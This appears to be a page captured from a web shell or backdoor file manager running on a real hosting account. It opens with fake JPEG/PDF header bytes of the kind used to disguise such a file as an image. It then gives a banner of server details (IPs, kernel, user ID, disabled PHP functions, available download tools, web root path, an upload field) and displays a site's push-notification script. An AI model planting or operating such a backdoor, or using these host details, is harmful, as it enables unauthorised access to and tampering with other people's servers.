ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 82.197.83.129 / Your IP : 216.73.216.166 [ Web Server : LiteSpeed System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u489457460 ( 489457460) PHP Version : 7.3.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u489457460/domains/syoft.com/public_html/ |
Upload File : |
if (!this.document) { self.addEventListener("push", (event) => { let notification = event.data.json(); self.registration.showNotification( notification.title, notification.options ); }); self.addEventListener( "notificationclick", function (event) { if (clients && event.action?.split("redirect_")[1]) { clients.openWindow(event.action.split("redirect_")[1]); } event.notification.close(); }, false ); } else { var org = "1bd956d9-a8a7-4144-9447-49c3d47e26a9"; var VAPID_PUBLIC_KEY = "BAayfeQQ6jaOmt8uPnAw6rF2DLK1QuOT3VymJTf3XOUPZ2ZhAPOTUIBkI5EIOaT7zpAPNHO8HAPRjp067Eu-O8E"; async function registerServiceWorker() { await navigator.serviceWorker.register("push.js"); } async function subscribeToPush() { const registration = await navigator.serviceWorker.getRegistration(); const isAlreadySubscribed = await registration.pushManager.getSubscription(); if (!isAlreadySubscribed) { const subscription = await registration.pushManager.subscribe({ userVisibleOnly: true, applicationServerKey: urlB64ToUint8Array(VAPID_PUBLIC_KEY), }); postToServer("https://stagemessagingapi.worke.io/api/v1/automationService/createSubscription", { subscription: subscription, workspace: "654e3081b2241afe4d619a77", org: org, }); } } /* Utility functions. */ // Convert a base64 string to Uint8Array. // Must do this so the server can understand the VAPID_PUBLIC_KEY. const urlB64ToUint8Array = (base64String) => { const padding = "=".repeat((4 - (base64String.length % 4)) % 4); const base64 = (base64String + padding) .replace(/-/g, "+") .replace(/_/g, "/"); const rawData = window.atob(base64); const outputArray = new Uint8Array(rawData.length); for (let i = 0; i < rawData.length; ++i) { outputArray[i] = rawData.charCodeAt(i); } return outputArray; }; async function postToServer(url, data) { let response = await fetch(url, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify(data), }); } function init() { registerServiceWorker(); subscribeToPush(); } // init(); function modal() { var mainContainer = document.createElement("div") mainContainer.style.height = "100vh" mainContainer.style.width = "100vw" mainContainer.style.position = "fixed" mainContainer.style.top = 0 mainContainer.style.left = 0 mainContainer.style.backgroundColor = "rgba(0, 0, 0, 0.3)" var modalContainer = document.createElement("div"); modalContainer.style.display = "flex"; modalContainer.style.flexDirection = "column"; modalContainer.style.gap = "4px"; modalContainer.style.alignItems = "center"; modalContainer.style.position = "fixed"; modalContainer.style.top = "50%"; modalContainer.style.left = "50%"; modalContainer.style.transform = "translate(-50%, -50%)"; modalContainer.style.padding = "40px"; modalContainer.style.backgroundColor = "white"; modalContainer.style.borderRadius = "10px"; modalContainer.style.boxShadow = "0 4px 8px rgba(0, 0, 0, 0.1)"; var heading = document.createElement("h2") heading.innerHTML = "Turn on notifications" heading.style.marginBlockStart = 0 //allwo button var allowButton = document.createElement("button"); allowButton.textContent = "Allow notifications"; allowButton.style.width = "100%" allowButton.style.border = "none" allowButton.style.color = "#fff" allowButton.style.fontWeight = "700" allowButton.style.backgroundColor = "black" allowButton.style.paddingBlock = "10px" allowButton.style.borderRadius = "50px" allowButton.style.cursor = 'pointer' //skip button var skipButton = document.createElement("button"); skipButton.style.width = "100%" skipButton.textContent = "Skip for now"; skipButton.style.paddingBlock = "10px" skipButton.style.fontWeight = "700" skipButton.style.borderRadius = "50px" skipButton.style.border = "1px solid black" skipButton.style.backgroundColor = "white" skipButton.style.cursor = 'pointer' mainContainer.appendChild(modalContainer) modalContainer.appendChild(heading) modalContainer.appendChild(allowButton); modalContainer.appendChild(skipButton); document.body.appendChild(mainContainer); allowButton.addEventListener("click", function () { document.body.removeChild(mainContainer) init() }); skipButton.addEventListener("click", function () { document.body.removeChild(mainContainer) }); } if (Notification.permission === "default") { modal() } }